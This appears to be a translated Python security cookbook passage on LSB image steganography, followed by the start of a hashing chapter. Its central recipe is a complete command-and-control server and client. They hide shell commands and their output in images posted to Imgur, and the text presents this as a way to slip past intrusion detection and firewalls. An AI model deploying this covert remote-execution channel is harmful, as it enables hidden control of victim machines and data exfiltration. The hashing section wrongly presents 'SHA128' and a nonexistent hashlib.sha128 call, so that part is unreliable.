以下图片是一个在其中隐藏了另一张图片的示例。您可以看到(或者也许看不到)人眼无法检测到任何东西:

介绍

使用 LSB 隐写术隐藏消息

在这个配方中,我们将使用 LSB 隐写术方法创建一个隐藏另一个图像的图像。这是隐写术的最常见形式之一。由于仅仅有一种隐藏数据的方法是不够的,我们还将编写一个脚本来提取隐藏的数据。

准备工作

本章中遇到的所有图像工作都将使用Python 图像库PIL)。要在 Linux 上使用PIP安装 Python 图像库,请使用以下命令:

$ pip install PIL

如果您正在 Windows 上安装它,您可能需要使用www.pythonware.com/products/pil/上可用的安装程序。

只需确保为您的 Python 版本获取正确的安装程序。

值得注意的是,PIL 已被更新为更新版本的 PILLOW。但对于我们的需求,PIL 就足够了。

如何做…

图像由像素组成,每个像素由红色、绿色和蓝色(RGB)值组成(对于彩色图像)。这些值的范围是从 0 到 255,之所以如此是因为每个值都是 8 位长。纯黑色像素将由元组(R(0),G(0),B(0))表示,纯白色像素将由(R(255),G(255),B(255))表示。我们将专注于第一个配方中R值的二进制表示。我们将获取 8 位值并改变最右边的位。我们之所以能够这样做是因为对这一位的更改将导致像素的红色值变化少于 0.4%。这远低于人眼可以检测到的范围。

让我们现在看一下脚本,然后我们稍后将介绍它是如何工作的:

  #!/usr/bin/env python

from PIL import Image

def Hide_message(carrier, message, outfile):
    c_image = Image.open(carrier)
    hide = Image.open(message)
    hide = hide.resize(c_image.size)
    hide = hide.convert('1')
    out = Image.new('RGB', c_image.size)

    width, height = c_image.size

    new_array = []

    for h in range(height):
        for w in range(width):
            ip = c_image.getpixel((w,h))
            hp = hide.getpixel((w,h))
            if hp == 0: 
                newred = ip[0] & 254
            else: 
                newred = ip[0] | 1

            new_array.append((newred, ip[1], ip[2]))

    out.putdata(new_array)
    out.save(outfile)
    print "Steg image saved to " + outfile

Hide_message('carrier.png', 'message.png', 'outfile.png')

它是如何工作的…

首先,我们从 PIL 中导入Image模块:

from PIL import Image

然后,我们创建我们的Hide_message函数:

def Hide_message(carrier, message, outfile):

此函数接受三个参数,如下所示:

  • carrier:这是我们用来隐藏另一张图片的图片的文件名

  • message:这是我们要隐藏的图片的文件名

  • outfile:这是我们的函数生成的新文件的名称

接下来,我们打开载体和消息图像:

c_image = Image.open(carrier)
hide = Image.open(message)

然后,我们操纵要隐藏的图像,使其与我们的载体图像具有相同的大小(宽度和高度)。我们还将要隐藏的图像转换为纯黑白。这是通过将图像的模式设置为1来完成的:

hide = hide.resize(c_image.size)
hide = hide.convert('1')

接下来,我们创建一个新图像,并将图像模式设置为 RGB,大小设置为载体图像的大小。我们创建两个变量来保存载体图像的宽度和高度的值,并设置一个数组;这个数组将保存我们最终保存到新图像中的新像素值,如下所示:

out = Image.new('RGB', c_image.size)

width, height = c_image.size

new_array = []

接下来是我们函数的主要部分。我们需要获取我们想要隐藏的像素的值。如果它是黑色像素,那么我们将设置载体的红色像素的 LSB 为0,如果是白色,则需要设置为1。我们可以通过使用位操作来轻松实现这一点。如果我们想将 LSB 设置为0,我们可以使用AND值与254,或者如果我们想将值设置为1,我们可以使用OR值与1

我们循环遍历图像中的所有像素,一旦我们有了newred值,我们将这些值与原始绿色和蓝色值一起附加到我们的new_array中:

    for h in range(height):
        for w in range(width):
            ip = c_image.getpixel((w,h))
            hp = hide.getpixel((w,h))
            if hp == 0: 
                newred = ip[0] & 254
            else: 
                newred = ip[0] | 1

            new_array.append((newred, ip[1], ip[2]))

    out.putdata(new_array)
    out.save(outfile)
    print "Steg image saved to " + outfile

在函数的最后,我们使用putdata方法将新像素值数组添加到新图像中,然后使用outfile指定的文件名保存文件。

应该注意的是,您必须将图像保存为 PNG 文件。这是一个重要的步骤,因为 PNG 是一种无损算法。例如,如果您将图像保存为 JPEG,LSB 值将不会保持不变,因为 JPEG 使用的压缩算法会改变我们指定的值。

还有更多…

在这个方法中,我们使用了红色值的 LSB 来隐藏我们的图像;然而,您可以使用 RGB 值中的任何一个,甚至全部三个。一些隐写术的方法会将 8 位分割到多个像素中,以便每个位都会分割到 RGBRGBRG 等中。自然地,如果您想使用这种方法,您的载体图像将需要比您想要隐藏的消息大得多。

另请参阅

因此,我们现在有了一种隐藏我们的图像的方法。在下一个方法中,我们将看看如何提取该消息。

提取隐藏在 LSB 中的消息

这个方法将允许我们通过使用前面方法中的 LSB 技术从图像中提取隐藏的消息。

如何做…

如前面的方法所示,我们使用 RGB 像素的Red值的 LSB 来隐藏我们想要隐藏的图像中的黑色或白色像素。这个方法将颠倒这个过程,从载体图像中提取隐藏的黑白图像。让我们来看看将执行此操作的函数:

#!/usr/bin/env python

from PIL import Image

def ExtractMessage(carrier, outfile):
    c_image = Image.open(carrier)
    out = Image.new('L', c_image.size)
    width, height = c_image.size
    new_array = []

    for h in range(height):
        for w in range(width):
            ip = c_image.getpixel((w,h))
            if ip[0] & 1 == 0:
                new_array.append(0)
            else:
                new_array.append(255)

    out.putdata(new_array)
    out.save(outfile)
    print "Message extracted and saved to " + outfile

ExtractMessage('StegTest.png', 'extracted.png')

工作原理…

首先,我们从 Python 图像库中导入Image模块:

from PIL import Image

接下来,我们设置将用于提取消息的函数。该函数接受两个参数:carrier图像文件名和我们想要用提取的图像创建的文件名:

def ExtractMessage(carrier, outfile):

接下来,我们从carrier图像创建一个Image对象。我们还为提取的数据创建一个新图像;该图像的模式设置为L,因为我们正在创建一个灰度图像。我们创建两个变量来保存载体图像的宽度和高度。最后,我们设置一个数组来保存我们提取的数据值:

c_image = Image.open(carrier)
out = Image.new('L', c_image.size)

width, height = c_image.size

new_array = []

现在,进入函数的主要部分:提取。我们创建for循环来迭代载体的像素。我们使用Image对象和getpixel函数来返回像素的 RGB 值。为了从像素的红色值中提取 LSB,我们使用位掩码。如果我们使用一个位AND与红色值,使用一个掩码1,如果 LSB 是0,我们将得到一个0,如果是1,我们将得到一个1。因此,我们可以将其放入一个if语句中来创建我们新数组的值。由于我们正在创建一个灰度图像,像素值的范围是0255,所以,如果我们知道 LSB 是1,我们将其转换为255。基本上就是这样。剩下的就是使用我们新图像的putdata方法来从数组创建图像,然后保存。

还有更多…

到目前为止,我们已经看过了在另一张图像中隐藏一张图像的方法,但还有许多其他隐藏不同数据在其他载体中的方法。有了这个提取函数和之前用于隐藏图像的方法,我们离能够通过消息发送和接收命令的东西更近了,但我们需要找到一个更好的方法来发送实际的命令。下一个方法将专注于在图像中隐藏实际文本。

在图像中隐藏文本

在之前的配方中,我们已经研究了如何在另一个图像中隐藏图像。这都很好,但是我们本章的主要目标是传递我们可以在命令和控制样式格式中使用的文本。这个配方的目的是在图像中隐藏一些文本。

如何操作...

到目前为止,我们已经专注于像素的 RGB 值。在 PNG 中,我们可以访问另一个值,即A值。RGBAA值是该像素的透明度级别。在这个配方中,我们将使用这种模式,因为它将允许我们在每个值的 LSB 中存储 8 位。这意味着我们可以在两个像素中隐藏一个单个char值,因此我们需要一个像素计数至少是我们要隐藏的字符数量的两倍的图像。

让我们看一下脚本:

from PIL import Image

def Set_LSB(value, bit):
    if bit == '0':
        value = value & 254
    else:
        value = value | 1
    return value

def Hide_message(carrier, message, outfile):
    message += chr(0)
    c_image = Image.open(carrier)
    c_image = c_image.convert('RGBA')

    out = Image.new(c_image.mode, c_image.size)
    pixel_list = list(c_image.getdata())
    new_array = []

    for i in range(len(message)):
        char_int = ord(message[i])
        cb = str(bin(char_int))[2:].zfill(8)
        pix1 = pixel_list[i*2]
        pix2 = pixel_list[(i*2)+1]
        newpix1 = []
        newpix2 = []

        for j in range(0,4):
            newpix1.append(Set_LSB(pix1[j], cb[j]))
            newpix2.append(Set_LSB(pix2[j], cb[j+4]))

        new_array.append(tuple(newpix1))
        new_array.append(tuple(newpix2))

    new_array.extend(pixel_list[len(message)*2:])

    out.putdata(new_array)
    out.save(outfile)
    print "Steg image saved to " + outfile

Hide_message('c:\\python27\\FunnyCatPewPew.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png')

它是如何工作的...

首先,我们从PIL中导入Image模块:

from PIL import Image

接下来,我们设置一个辅助函数,它将帮助根据要隐藏的二进制设置传入值的 LSB:

def Set_LSB(value, bit):
    if bit == '0':
        value = value & 254
    else:
        value = value | 1
    return value

我们正在使用一个位掩码来设置 LSB,根据我们传入的二进制值是1还是0。如果是0,我们使用掩码254(11111110)进行按位AND,如果是1,我们使用掩码1(00000001)进行按位OR。函数返回结果值。

接下来,我们创建我们的主要Hide_message方法,它接受三个参数:我们的载体图像的文件名,我们想要隐藏的消息的字符串,最后是我们将创建的输出图像的文件名:

def Hide_message(carrier, message, outfile):

下一行代码将值0x00添加到字符串的末尾。这在提取函数中将很重要,因为它将告诉我们已经到达了隐藏文本的末尾。我们使用chr()函数将0x00转换为友好的字符串表示:

message += chr(0)

代码的下一部分创建了两个图像对象:一个是我们的载体,另一个是输出图像。对于我们的载体图像,我们将模式更改为RGBA,以确保每个像素有四个值。然后我们创建了一些数组:pixel_list是来自我们载体图像的所有像素数据,new_array将保存我们合并的carriermessage图像的所有新像素值:

c_image = Image.open(carrier) 
c_image = c_image.convert('RGBA')
out = Image.new(c_image.mode, c_image.size)

pixel_list = list(c_image.getdata())
new_array = []

接下来,我们在for循环中循环遍历消息中的每个字符:

for i in range(len(message)):

我们首先将字符转换为int

char_int = ord(message[i])

然后我们将该int转换为二进制字符串,我们使用zfill函数确保它有 8 个字符长。这将使以后更容易。当你使用bin()时,它会在字符串前面加上 0 位,所以[2:]只是去掉了它:

cb = str(bin(char_int))[2:].zfill(8)

接下来,我们创建两个像素变量并填充它们。我们使用当前消息字符索引的*2作为第一个像素,使用(当前消息字符索引的*2)和1作为第二个像素。这是因为我们每个字符使用两个像素:

pix1 = pixel_list[i*2]
pix2 = pixel_list[(i*2)+1]

接下来,我们创建两个将保存隐藏数据值的数组:

newpix1 = []
newpix2 = []

现在一切都设置好了,我们可以开始改变像素数据的值,我们迭代 4 次(对于 RGBA 值),并调用我们的辅助方法来设置 LSB。newpix1函数将包含我们 8 位字符的前 4 位;newpix2将包含最后 4 位:

for j in range(0,4):
            newpix1.append(Set_LSB(pix1[j], cb[j]))
            newpix2.append(Set_LSB(pix2[j], cb[j+4]))

一旦我们有了新的值,我们将把它们转换为元组并附加到new_array中:

new_array.append(tuple(newpix1))
new_array.append(tuple(newpix2))

以下是描述我们将实现的图像:

它是如何工作的...

剩下要做的就是用载体图像中剩余的像素扩展new_array方法,然后使用传递给我们的Hide_message函数的filename参数保存它:

new_array.extend(pixel_list[len(message)*2:])

out.putdata(new_array)
out.save(outfile)
print "Steg image saved to " + outfile

还有更多...

正如在本配方开始时所述,我们需要确保载体图像的像素计数是我们要隐藏的消息的两倍大小。我们可以添加一个检查,如下所示:

if len(message) * 2 < len(list(image.getdata())):
  #Throw an error and advise the user

对于这个配方来说,基本上就是这样;我们现在可以在图像中隐藏文本,而且还可以使用之前的配方隐藏图像。在下一个配方中,我们将提取文本数据。

从图像中提取文本

在上一个配方中,我们看到了如何隐藏文本在图像的RGBA值中。这个配方将让我们提取这些数据。

如何做…

我们在上一个配方中看到,我们将字符的字节分成 8 位,并将它们分布在两个像素的 LSB 上。这里是那个图表,作为提醒:

如何做…

以下是将执行提取的脚本:

from PIL import Image
from itertools import izip

def get_pixel_pairs(iterable):
    a = iter(iterable)
    return izip(a, a)

def get_LSB(value):
    if value & 1 == 0:
        return '0'
    else:
        return '1'

def extract_message(carrier):
    c_image = Image.open(carrier)
    pixel_list = list(c_image.getdata())
    message = ""

    for pix1, pix2 in get_pixel_pairs(pixel_list):
        message_byte = "0b"
        for p in pix1:
            message_byte += get_LSB(p)

        for p in pix2:
            message_byte += get_LSB(p)

        if message_byte == "0b00000000":
            break

        message += chr(int(message_byte,2))
    return message

print extract_message('messagehidden.png')

它是如何工作的…

首先,我们从PIL导入Image模块;我们还从itertools导入izip模块。izip模块将用于返回像素对:

from PIL import Image
from itertools import izip

接下来,我们创建两个辅助函数。get_pixel_pairs函数接受我们的像素列表并返回对;由于每个消息字符分布在两个像素上,这使得提取更容易。另一个辅助函数get_LSB将接受RGBA值,并使用位掩码获取 LSB 值,并以字符串格式返回它:

def get_pixel_pairs(iterable):
    a = iter(iterable)
    return izip(a, a)

def get_LSB(value):
    if value & 1 == 0:
        return '0'
    else:
        return '1'

接下来,我们有我们的主要extract_message函数。这需要我们载体图像的文件名:

def extract_message(carrier):

然后,我们从传入的文件名创建一个图像对象,然后从图像数据创建一个像素数组。我们还创建一个名为message的空字符串;这将保存我们提取的文本:

c_image = Image.open(carrier)
pixel_list = list(c_image.getdata())
message = ""

接下来,我们创建一个for循环,它将迭代使用我们的辅助函数“get_pixel_pairs”返回的所有像素对;我们将返回的对设置为pix1和“pix2”:

for pix1, pix2 in get_pixel_pairs(pixel_list):

我们将创建的代码的下一部分是一个字符串变量,它将保存我们的二进制字符串。Python 通过0b前缀知道它将是字符串的二进制表示。然后,我们迭代每个像素(pix1pix2)中的RGBA值,并将该值传递给我们的辅助函数get_LSB,返回的值将附加到我们的二进制字符串上:

message_byte = "0b"
for p in pix1:
    message_byte += get_LSB(p)
for p in pix2:
    message_byte += get_LSB(p)

当前面的代码运行时,我们将得到一个字符的二进制表示的字符串。字符串看起来像这样0b01100111,我们在隐藏的消息末尾放置了一个停止字符,将是0x00,当提取部分输出时,我们需要跳出for循环,因为我们知道已经到达了隐藏文本的末尾。下一部分为我们进行了检查:

if message_byte == "0b00000000":
            break

如果不是我们的停止字节,那么我们可以将字节转换为其原始字符,并将其附加到我们的消息字符串的末尾:

message += chr(int(message_byte,2))

剩下的就是从函数中返回完整的消息字符串。

还有更多…

现在我们有了隐藏和提取函数,我们可以将它们放在一起成为一个类,我们将在下一个配方中使用。我们将添加一个检查,以测试该类是否已被其他类使用,或者是否正在独立运行。整个脚本如下。hideextract函数已经稍作修改,以接受图像 URL;此脚本将在第八章的 C2 示例中使用,负载和外壳

#!/usr/bin/env python

import sys
import urllib
import cStringIO

from optparse import OptionParser
from PIL import Image
from itertools import izip

def get_pixel_pairs(iterable):
    a = iter(iterable)
    return izip(a, a)

def set_LSB(value, bit):
    if bit == '0':
        value = value & 254
    else:
        value = value | 1
    return value

def get_LSB(value):
    if value & 1 == 0:
        return '0'
    else:
        return '1'

def extract_message(carrier, from_url=False):
    if from_url:
        f = cStringIO.StringIO(urllib.urlopen(carrier).read())
        c_image = Image.open(f)
    else:
        c_image = Image.open(carrier)

    pixel_list = list(c_image.getdata())
    message = ""

    for pix1, pix2 in get_pixel_pairs(pixel_list):
        message_byte = "0b"
        for p in pix1:
            message_byte += get_LSB(p)

        for p in pix2:
            message_byte += get_LSB(p)

        if message_byte == "0b00000000":
            break

        message += chr(int(message_byte,2))
    return message

def hide_message(carrier, message, outfile, from_url=False):
    message += chr(0)
    if from_url:
        f = cStringIO.StringIO(urllib.urlopen(carrier).read())
        c_image = Image.open(f)
    else:
        c_image = Image.open(carrier)

    c_image = c_image.convert('RGBA')

    out = Image.new(c_image.mode, c_image.size)
    width, height = c_image.size
    pixList = list(c_image.getdata())
    newArray = []

    for i in range(len(message)):
        charInt = ord(message[i])
        cb = str(bin(charInt))[2:].zfill(8)
        pix1 = pixList[i*2]
        pix2 = pixList[(i*2)+1]
        newpix1 = []
        newpix2 = []

        for j in range(0,4):
            newpix1.append(set_LSB(pix1[j], cb[j]))
            newpix2.append(set_LSB(pix2[j], cb[j+4]))

        newArray.append(tuple(newpix1))
        newArray.append(tuple(newpix2))

    newArray.extend(pixList[len(message)*2:])

    out.putdata(newArray)
    out.save(outfile)
    return outfile   

if __name__ == "__main__":

    usage = "usage: %prog [options] arg1 arg2"
    parser = OptionParser(usage=usage)
    parser.add_option("-c", "--carrier", dest="carrier",
                help="The filename of the image used as the carrier.",
                metavar="FILE")
    parser.add_option("-m", "--message", dest="message",
                help="The text to be hidden.",
                metavar="FILE")
    parser.add_option("-o", "--output", dest="output",
                help="The filename the output file.",
                metavar="FILE")
    parser.add_option("-e", "--extract",
                action="store_true", dest="extract", default=False,
                help="Extract hidden message from carrier and save to output filename.")
    parser.add_option("-u", "--url",
                action="store_true", dest="from_url", default=False,
                help="Extract hidden message from carrier and save to output filename.")

    (options, args) = parser.parse_args()
    if len(sys.argv) == 1:
        print "TEST MODE\nHide Function Test Starting ..."
        print hide_message('carrier.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png')
        print "Hide test passed, testing message extraction ..."
        print extract_message('messagehidden.png')
    else:
        if options.extract == True:
            if options.carrier is None:
                parser.error("a carrier filename -c is required for extraction")
            else:
                print extract_message(options.carrier, options.from_url)
        else:
            if options.carrier is None or options.message is None or options.output is None:
                parser.error("a carrier filename -c, message filename -m and output filename -o are required for steg")
            else:
                hide_message(options.carrier, options.message, options.output, options.from_url)

使用隐写术启用命令和控制

这个配方将展示隐写术如何被用来控制另一台机器。如果您试图规避入侵检测系统(IDS)/防火墙,这可能会很方便。在这种情况下,唯一可见的流量是来自客户机的 HTTPS 流量。这个配方将展示一个基本的服务器和客户端设置。

准备工作

在这个配方中,我们将使用图像分享网站 Imgur 来托管我们的图像。这样做的原因很简单,即 Imgur 的 Python API 易于安装且易于使用。您也可以选择使用其他网站。但是,如果您希望使用此脚本,您需要在 Imgur 上创建一个帐户,并注册一个应用程序以获取 API 密钥和密钥。完成后,您可以使用pip安装imgur Python 库:

$ pip install imgurpython

您可以在www.imgur.com注册一个帐户。

注册账户后,您可以注册一个应用程序,以从api.imgur.com/oauth2/addclient获取 API 密钥和密钥。

一旦您拥有 imgur 账户,您需要创建一个相册并将图像上传到其中。

这个步骤将从上一个步骤中导入完整的隐写文本脚本。

操作步骤…

这个步骤的工作方式分为两部分。我们将有一个脚本作为服务器运行和操作,另一个脚本作为客户端运行和操作。我们的脚本将遵循的基本步骤如下所述:

  1. 运行服务器脚本。

  2. 服务器等待客户端宣布它已准备就绪。

  3. 运行客户端脚本。

  4. 客户端通知服务器它已准备就绪。

  5. 服务器显示客户端正在等待,并提示用户发送到客户端的命令。

  6. 服务器发送一个命令。

  7. 服务器等待响应。

  8. 客户端接收命令并运行它。

  9. 客户端发送命令的输出回到服务器。

  10. 服务器接收来自客户端的输出并显示给用户。

  11. 步骤 5 到 10 将重复执行,直到发送quit命令。

考虑到这些步骤,让我们首先看一下服务器脚本:

from imgurpython import ImgurClient
import StegoText, random, time, ast, base64

def get_input(string):
    ''' Get input from console regardless of python 2 or 3 '''
    try:
        return raw_input(string)
    except:
        return input(string)

def create_command_message(uid, command):
    command = str(base64.b32encode(command.replace('\n','')))
    return "{'uuid':'" + uid + "','command':'" + command + "'}"

def send_command_message(uid, client_os, image_url):
    command = get_input(client_os + "@" + uid + ">")
    steg_path = StegoText.hide_message(image_url, create_command_message(uid, command), "Imgur1.png", True)
    print "Sending command to client ..."
    uploaded = client.upload_from_path(steg_path)
    client.album_add_images(a[0].id, uploaded['id'])

    if command == "quit":
        sys.exit()

    return uploaded['datetime']

def authenticate():
    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'
    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'

    client = ImgurClient(client_id, client_secret)
    authorization_url = client.get_auth_url('pin')

    print("Go to the following URL: {0}".format(authorization_url))
    pin = get_input("Enter pin code: ")

    credentials = client.authorize(pin, 'pin')
    client.set_user_auth(credentials['access_token'], credentials['refresh_token'])

    return client

client = authenticate()
a = client.get_account_albums("C2ImageServer")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

print "Awaiting client connection ..."

loop = True
while loop:
    time.sleep(5)
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['status'] == "ready":
            print "Client connected:\n"
            print "Client UUID:" + client_dict['uuid']
            print "Client OS:" + client_dict['os']
        else:
            print base64.b32decode(client_dict['response'])

        random.choice(client.default_memes()).link
        last_message_datetime = send_command_message(client_dict['uuid'],
        client_dict['os'],
        random.choice(client.default_memes()).link)

以下是我们的客户端脚本:

from imgurpython import ImgurClient
import StegoText
import ast, os, time, shlex, subprocess, base64, random, sys

def get_input(string):
    try:
        return raw_input(string)
    except:
        return input(string)

def authenticate():
    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'
    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'

    client = ImgurClient(client_id, client_secret)
    authorization_url = client.get_auth_url('pin')

    print("Go to the following URL: {0}".format(authorization_url))
    pin = get_input("Enter pin code: ")

    credentials = client.authorize(pin, 'pin')
    client.set_user_auth(credentials['access_token'], credentials['refresh_token'])

    return client

client_uuid = "test_client_1"

client = authenticate()
a = client.get_account_albums("<YOUR IMGUR USERNAME>")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

steg_path = StegoText.hide_message(random.choice(client.default_memes()). link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}",  "Imgur1.png",True)
uploaded = client.upload_from_path(steg_path)
client.album_add_images(a[0].id, uploaded['id'])
last_message_datetime = uploaded['datetime']

while True:

    time.sleep(5) 
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['uuid'] == client_uuid:
            command = base64.b32decode(client_dict['command'])

            if command == "quit":
                sys.exit(0)

            args = shlex.split(command)
            p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
            (output, err) = p.communicate()
            p_status = p.wait()

            steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True)
            uploaded = client.upload_from_path(steg_path)
            client.album_add_images(a[0].id, uploaded['id'])
            last_message_datetime = uploaded['datetime']

工作原理…

首先,我们创建一个imgur客户端对象;authenticate 函数处理将imgur客户端与我们的账户和应用程序进行身份验证。当您运行脚本时,它将输出一个 URL,让您访问以获取 PIN 码输入。然后,它会获取我们的 imgur 用户名的相册列表。如果您还没有创建相册,脚本将失败,所以请确保您已经准备好相册。我们将获取列表中的第一个相册,并获取该相册中包含的所有图像的进一步列表。

图像列表按照最早上传的图像排列;为了使我们的脚本工作,我们需要知道最新上传图像的时间戳,所以我们使用[-1]索引来获取它并将其存储在一个变量中。完成这些步骤后,服务器将等待客户端连接:

client = authenticate()
a = client.get_account_albums("<YOUR IMGUR ACCOUNT NAME>")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

print "Awaiting client connection ..."

一旦服务器等待客户端连接,我们就可以运行客户端脚本。客户端脚本的初始启动创建了一个imgur客户端对象,就像服务器一样,但不是等待;相反,它生成一条消息并将其隐藏在一个随机图像中。这条消息包含客户端正在运行的os类型(这将使服务器用户更容易知道要运行什么命令),一个ready状态,以及客户端的标识符(如果您想扩展脚本以允许多个客户端连接到服务器)。

一旦图像上传完成,last_message_datetime函数就会设置为新的时间戳:

client_uuid = "test_client_1"

client = authenticate()
a = client.get_account_albums("C2ImageServer")

imgs = client.get_album_images(a[0].id)
last_message_datetime = imgs[-1].datetime

steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}",  "Imgur1.png",True)
uploaded = client.upload_from_path(steg_path)
client.album_add_images(a[0].id, uploaded['id'])
last_message_datetime = uploaded['datetime']

服务器将等待直到看到消息;它通过使用while循环来做到这一点,并检查比启动时保存的图像日期时间晚的图像。一旦看到有新的图像,它将下载并提取消息。然后检查消息是否是客户端准备好的消息;如果是,它会显示uuid客户端和os类型,然后提示用户输入:

loop = True
while loop:
    time.sleep(5)
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['status'] == "ready":
            print "Client connected:\n"
            print "Client UUID:" + client_dict['uuid']
            print "Client OS:" + client_dict['os']

用户输入命令后,它会使用 base32 对其进行编码,以避免破坏我们的消息字符串。然后将其隐藏在一个随机图像中,并上传到 imgur。客户端坐在一个循环中等待这条消息。这个循环的开始方式与我们的服务器相同;如果它看到一个新的图像,它会检查是否使用uuid寻址到这台机器,如果是,它将提取消息,将其转换为Popen将接受的友好格式,然后使用Popen运行命令。然后等待命令的输出,然后将其隐藏在一个随机图像中并上传到 imgur:

loop = True
while loop:

    time.sleep(5) 
    imgs = client.get_album_images(a[0].id)
    if imgs[-1].datetime > last_message_datetime:
        last_message_datetime = imgs[-1].datetime
        client_dict =  ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
        if client_dict['uuid'] == client_uuid:
            command = base64.b32decode(client_dict['command'])

            if command == "quit":
                sys.exit(0)

            args = shlex.split(command)
            p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
            (output, err) = p.communicate()
            p_status = p.wait()

            steg_path = StegoText.hide_message(random.choice (client.default_memes()).link,  "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}",  "Imgur1.png", True)
            uploaded = client.upload_from_path(steg_path)
            client.album_add_images(a[0].id, uploaded['id'])
            last_message_datetime = uploaded['datetime']

服务器所需做的就是获取新图像,提取隐藏的输出,并将其显示给用户。然后它会给出一个新的提示,等待下一个命令。就是这样;这是一种非常简单的通过隐写术传递命令和控制数据的方法。

第七章:加密和编码

在本章中,我们将涵盖以下主题:

  • 生成 MD5 哈希

  • 生成 SHA 1/128/256 哈希

  • 同时实现 SHA 和 MD5 哈希

  • 在现实场景中实现 SHA

  • 生成 Bcrypt 哈希

  • 破解 MD5 哈希

  • 使用 Base64 编码

  • 使用 ROT13 编码

  • 破解替换密码

  • 破解 Atbash 密码

  • 攻击一次性密码重用

  • 预测线性同余生成器

  • 识别哈希

介绍

在本章中,我们将涵盖 Python 世界中的加密和编码。加密和编码是 Web 应用程序中非常重要的两个方面,因此使用 Python 进行它们!

我们将深入了解 MD5 和 SHA 哈希的世界,敲开 Base64 和 ROT13 的大门,并查看一些最流行的哈希和密码。我们还将回到过去,看看一些非常古老的方法以及制作和破解它们的方式。

生成 MD5 哈希

MD5 哈希是 Web 应用程序中最常用的哈希之一,因为它们易于使用并且哈希速度快。MD5 哈希是 1991 年发明的,用来取代之前的版本 MD4,至今仍在使用。

做好准备

对于此脚本,我们只需要hashlib模块。

如何做…

在 Python 中生成 MD5 哈希非常简单,这是因为我们可以导入的模块的性质。我们需要定义要导入的模块,然后决定要对哪个字符串进行哈希。我们应该将其硬编码到脚本中,但这意味着每次需要对新字符串进行哈希时都必须修改脚本。

相反,我们使用 Python 中的raw_input功能询问用户要输入的字符串:

import hashlib
message = raw_input("Enter the string you would like to hash: ")
md5 = hashlib.md5(message.encode())
print (md5.hexdigest())

工作原理…

hashlib模块在幕后为我们做了大部分工作。Hashlib 是一个庞大的库,可以让用户非常快速和轻松地对 MD5、SHA1、SHA256 和 SHA512 等进行哈希。这就是使用该模块的原因。

我们首先使用标准方法导入模块:

import hashlib

然后我们需要要对 MD5 进行编码的字符串。如前所述,这可以硬编码到脚本中,但这并不是非常实用。解决方法是使用raw_input功能向用户询问输入。可以通过以下方式实现:

message = raw_input("Enter what you wish to ask the user here: ")

一旦我们有了输入,我们可以继续使用 hashlib 的内置函数对字符串进行编码。为此,在定义要使用的字符串之后,我们只需调用.encode()函数:

md5 = hashlib.md5(message.encode())

最后,我们可以打印使用.hexdigest()函数的字符串的输出。如果不使用hexdigest,则会打印每个字节的十六进制表示。

以下是脚本的完整示例:

Enter the string you would like to hash: pythonrules
048c0fc556088fabc53b76519bfb636e

生成 SHA 1/128/256 哈希

SHA 哈希与 MD5 哈希一样非常常用。SHA 哈希的早期实现始于 SHA1,由于哈希的弱点,现在使用较少。SHA1 之后是 SHA128,然后被 SHA256 取代。

做好准备

对于这些脚本,我们将再次只需要hashlib模块。

如何做…

在 Python 中生成 SHA 哈希也非常简单,只需使用导入的模块。通过简单的调整,我们可以更改是否要生成 SHA1、SHA128 或 SHA256 哈希。

以下是三个不同的脚本,允许我们生成不同的 SHA 哈希:

以下是 SHA1 的脚本:

import hashlib
message = raw_input("Enter the string you would like to hash: ")
sha = hashlib.sha1(message)
sha1 = sha.hexdigest()
print sha1

以下是 SHA128 的脚本:

import hashlib
message = raw_input("Enter the string you would like to hash: ")
sha = hashlib.sha128(message)
sha128 = sha.hexdigest()
print sha128

以下是 SHA256 的脚本:

import hashlib
message = raw_input("Enter the string you would like to hash: ")
sha = hashlib.sha256(message)
sha256 = sha.hexdigest()
print sha256

工作原理…

hashlib模块再次为我们做了大部分工作。我们可以利用模块内的功能。

我们通过使用以下方法导入模块开始:

import hashlib

然后我们需要提示输入要使用 SHA 进行编码的字符串。我们要求用户输入而不是使用硬编码,这样脚本就可以一遍又一遍地使用。可以通过以下方式实现:

message = raw_input("Enter the string you would like to hash: )

一旦我们有了字符串,就可以开始编码过程。接下来的部分取决于您想要使用的 SHA 编码:

sha = hashlib.sha*(message)

我们需要用*替换为1128256。一旦我们对消息进行了 SHA 编码,我们需要再次使用hexdigest()函数,以便输出变得可读。

我们用以下方式实现:

sha*=sha.hexdigest()

一旦输出变得可读,我们只需要打印哈希输出:

print sha*

实现 SHA 和 MD5 哈希的结合

在这一部分,我们将看到 SHA 和 MD5 哈希是如何一起工作的。

准备工作

对于下面的脚本,我们只需要hashlib模块。

如何做…

我们将把之前做过的所有东西联系在一起形成一个大脚本。这将输出三个版本的 SHA 哈希和一个 MD5 哈希,所以用户可以选择使用哪一个:

import hashlib

